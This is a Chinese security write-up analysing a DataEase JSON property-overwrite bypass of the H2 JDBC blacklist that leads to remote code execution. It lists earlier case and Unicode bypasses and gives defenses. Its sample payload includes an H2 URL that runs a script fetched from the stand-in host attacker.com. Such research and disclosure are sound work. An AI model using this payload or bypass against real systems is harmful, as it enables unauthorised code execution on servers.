dataease最新绕过利用json覆盖属性RCE
字数 1386 2025-09-01 11:25:54

DataEase JSON属性覆盖RCE漏洞分析与利用

漏洞概述

DataEase最新版本中存在一个通过JSON属性覆盖实现JDBC连接参数绕过的远程代码执行(RCE)漏洞。该漏洞利用了JSON解析过程中的属性覆盖特性,绕过了对危险JDBC参数的黑名单检查,最终导致攻击者可以通过恶意JDBC连接字符串执行任意代码。

漏洞背景

JDBC连接安全问题

JDBC(Java Database Connectivity)是Java语言中用来规范客户端程序如何访问数据库的应用程序接口。在JDBC连接过程中,如果连接参数完全可控,可能会导致反序列化漏洞,进而实现远程代码执行。

常见易受攻击的数据库驱动:

  • MySQL (高版本限制较多)
  • H2 (利用较为容易)

相关漏洞案例

  • 契约锁JDBC漏洞
  • Apache Hertzbeat
  • Apache InLong

漏洞原理

传统JDBC绕过手法

  1. 大小写绕过

    • 系统将连接参数转为大写后进行黑名单检查
    • 使用大小写混用的payload绕过,如ıNIT代替INIT
  2. 异形字符绕过

    • 使用特殊Unicode字符绕过黑名单检查
    • 通过fuzz测试找到可用的异形字符组合

新型绕过手法:JSON属性覆盖

核心思路:在连接过程中让系统误判数据库类型,从而绕过特定数据库的黑名单检查。

具体原理:

  1. DataEase通过type参数确定数据库驱动类型
  2. 对H2数据库有特殊的黑名单检查(INITRUNSCRIPT)
  3. 利用JSON解析过程中的属性覆盖特性,在解析过程中修改driver属性
  4. 使系统在初始判断时为非H2数据库,但在实际连接时使用H2驱动

JSON解析覆盖底层机制

  1. 解析器根据是否指向对象起始符号{选择不同反序列化策略
  2. vanillaDeserialize方法在反序列化过程中设置属性
  3. 底层通过Unsafe反射修改属性值
  4. 最终实现属性值的覆盖

漏洞复现

利用条件

  • 能够控制JDBC连接参数
  • 目标系统使用易受攻击的DataEase版本

利用步骤

  1. 构造恶意JSON payload,包含以下关键部分:

    • 初始type设置为非H2数据库(如MySQL)
    • 通过JSON属性覆盖技术修改driver为H2驱动
    • 包含恶意的H2连接字符串
  2. 将payload编码后写入configuration字段

  3. 触发JDBC连接,实现RCE

示例Payload结构

{
  "type": "mysql",
  "configuration": {
    // 覆盖driver属性为h2
    "driver": "org.h2.Driver",
    // 恶意H2连接字符串
    "url": "jdbc:h2:mem:test;INIT=RUNSCRIPT FROM 'http://attacker.com/evil.sql'"
  }
}

防御措施

  1. 输入验证

    • 严格校验JDBC连接参数
    • 禁止用户控制关键参数如driver
  2. 黑名单增强

    • 检查所有可能的字符变体
    • 使用规范化后的字符串进行比较
  3. 安全配置

    • 限制可用的数据库驱动类型
    • 使用固定白名单的驱动
  4. JSON解析防护

    • 禁用JSON解析中的不安全特性
    • 使用安全的JSON库配置
  5. 最小权限原则

    • 运行数据库连接的服务使用最低必要权限

参考资源

  1. H2 JDBC Bypass之旅 - Fushuling
  2. JavaScript大小写技巧 - Leavesongs
  3. JDBC安全研究文章

总结

DataEase的这个漏洞展示了JSON属性覆盖技术在绕过安全限制方面的强大能力。与传统的直面黑名单的绕过手法不同,这种技术通过改变执行路径的方式实现绕过,为安全研究提供了新的思路。防御方面需要从多层面进行防护,包括输入验证、安全配置和运行时保护等。

DataEase JSON属性覆盖RCE漏洞分析与利用 漏洞概述 DataEase最新版本中存在一个通过JSON属性覆盖实现JDBC连接参数绕过的远程代码执行(RCE)漏洞。该漏洞利用了JSON解析过程中的属性覆盖特性,绕过了对危险JDBC参数的黑名单检查,最终导致攻击者可以通过恶意JDBC连接字符串执行任意代码。 漏洞背景 JDBC连接安全问题 JDBC(Java Database Connectivity)是Java语言中用来规范客户端程序如何访问数据库的应用程序接口。在JDBC连接过程中,如果连接参数完全可控,可能会导致反序列化漏洞,进而实现远程代码执行。 常见易受攻击的数据库驱动: MySQL (高版本限制较多) H2 (利用较为容易) 相关漏洞案例 契约锁JDBC漏洞 Apache Hertzbeat Apache InLong 漏洞原理 传统JDBC绕过手法 大小写绕过 : 系统将连接参数转为大写后进行黑名单检查 使用大小写混用的payload绕过,如 ıNIT 代替 INIT 异形字符绕过 : 使用特殊Unicode字符绕过黑名单检查 通过fuzz测试找到可用的异形字符组合 新型绕过手法:JSON属性覆盖 核心思路: 在连接过程中让系统误判数据库类型 ,从而绕过特定数据库的黑名单检查。 具体原理: DataEase通过 type 参数确定数据库驱动类型 对H2数据库有特殊的黑名单检查( INIT 和 RUNSCRIPT ) 利用JSON解析过程中的属性覆盖特性,在解析过程中修改 driver 属性 使系统在初始判断时为非H2数据库,但在实际连接时使用H2驱动 JSON解析覆盖底层机制 解析器根据是否指向对象起始符号 { 选择不同反序列化策略 vanillaDeserialize 方法在反序列化过程中设置属性 底层通过Unsafe反射修改属性值 最终实现属性值的覆盖 漏洞复现 利用条件 能够控制JDBC连接参数 目标系统使用易受攻击的DataEase版本 利用步骤 构造恶意JSON payload,包含以下关键部分: 初始 type 设置为非H2数据库(如MySQL) 通过JSON属性覆盖技术修改 driver 为H2驱动 包含恶意的H2连接字符串 将payload编码后写入 configuration 字段 触发JDBC连接,实现RCE 示例Payload结构 防御措施 输入验证 : 严格校验JDBC连接参数 禁止用户控制关键参数如 driver 黑名单增强 : 检查所有可能的字符变体 使用规范化后的字符串进行比较 安全配置 : 限制可用的数据库驱动类型 使用固定白名单的驱动 JSON解析防护 : 禁用JSON解析中的不安全特性 使用安全的JSON库配置 最小权限原则 : 运行数据库连接的服务使用最低必要权限 参考资源 H2 JDBC Bypass之旅 - Fushuling JavaScript大小写技巧 - Leavesongs JDBC安全研究文章 总结 DataEase的这个漏洞展示了JSON属性覆盖技术在绕过安全限制方面的强大能力。与传统的直面黑名单的绕过手法不同,这种技术通过改变执行路径的方式实现绕过,为安全研究提供了新的思路。防御方面需要从多层面进行防护,包括输入验证、安全配置和运行时保护等。